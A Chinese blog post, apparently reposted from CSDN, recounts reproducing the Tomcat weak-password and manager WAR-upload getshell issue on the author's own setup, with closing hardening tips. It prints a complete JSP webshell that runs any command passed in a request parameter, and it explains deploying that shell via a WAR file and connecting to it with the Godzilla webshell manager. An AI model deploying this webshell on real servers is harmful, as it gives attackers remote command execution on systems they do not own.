Tomcat 弱口令 && 后台getshell漏洞

漏洞编号

VUL-2021040008

爆发时间

2018-10-10

漏洞简介

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

影响版本

Tomcat8.x,Tomcat7.x

漏洞详情

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

manager(后台管理)

1、manager-gui 拥有html页面权限

2、manager-status 拥有查看status的权限

3、manager-script 拥有text接口的权限,和status权限

4、manager-jmx 拥有jmx权限,和status权限

host-manager(虚拟主机管理)

1、admin-gui 拥有html页面权限

2、admin-script 拥有text接口权限

在conf/tomcat-users.xml文件中配置用户的权限:

快气死了,觉的自己有tomcat还恰巧是这个版本,想试着复现复现

结果就遇到tomcat打不开的问题

首先,我现在还开着Burp,而且Burp的JDK环境和tomcat是一个,我想可能是抢占了环境资源

就退出了Burp

然后再用管理员模式,启动startup.bat,多试了几次,最后终于不闪退了

接着,我就在必应网页里登录tomcat,结果

 显示连接不安全

想使用http来连接,结果就是不同意,按照网上的方法试一试,结果都不符合,包括说是不是开了代理,我才发现自己的代理是一直开着的。

这条思路走不通,那就换个思路来,换个浏览器,换成谷歌。

果然谷歌是yyds!!!

 现在去Manager App,看看能不能上传文件

结果是需要账号和密码的

测试测试,使用账号和密码都是tomcat,结果进不去

点击取消,结果页面反馈的是401

仔细一看内容,竟是没有开权限

按照页面开权限的方法修改了相应的文件

再次进入Manager App,还是不行就上网搜了搜,说是需要修改host-manangerMETA-INF中的context.xml文件:

<Valve className="org.apache.catalina.valves.RemoteAddrValve"
 
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />

给它加上注释

但我点进去我的一看本来都有注释

想想步骤没有差错,会不会是因为我没有重启成功

在没修改之前的startup,一直没有关,索性就先关了

再次重启,这次成功了

输入账号密码后就进入了我想要的界面

 来到上传文件哪里

现在要准备上传文件了


<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>


    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>
//ps:马的出处:https://blog.csdn.net/Jerry____/article/details/103387763

将上面的jsp木马写在文档里,然后重命名为test.jsp,用压缩工具压缩后,再将zip的后缀改为war

你可以通过cmd去查看任何你想看到的信息。

但是这只能证明这里是有漏洞的,但要如何利用这个漏洞呢?

看网上都在说什么哥斯拉,查了查,看上去挺好用的,但就是要 Java1.8的JDK环境,这不得和Tomcat的JDK冲突,为了以防外一,我下载到了虚拟机上,等了好久,总做环境配置好了,

双击哥斯拉的jar,就直接打开了

进去在管理哪里选择生成,

 再点击生成,会自动生成一个jsp的文件,将jsp的文件放在你想要使用的地方

按照上面放入tomcat的方式放进去,并能够到达该页面

 就可以回到哥斯拉,去连接了

在目标里选择添加,将URL填写正确

就可以测试连接了

连接成功后就拿到了shell,可以查看想看的任何信息~~

【防御方式】

1、强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;

2、完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。

3、增加验证机制,限制访问次数。

4、关闭Tomcat登录管理功能

猜你喜欢

转载自blog.csdn.net/weixin_46601374/article/details/123955886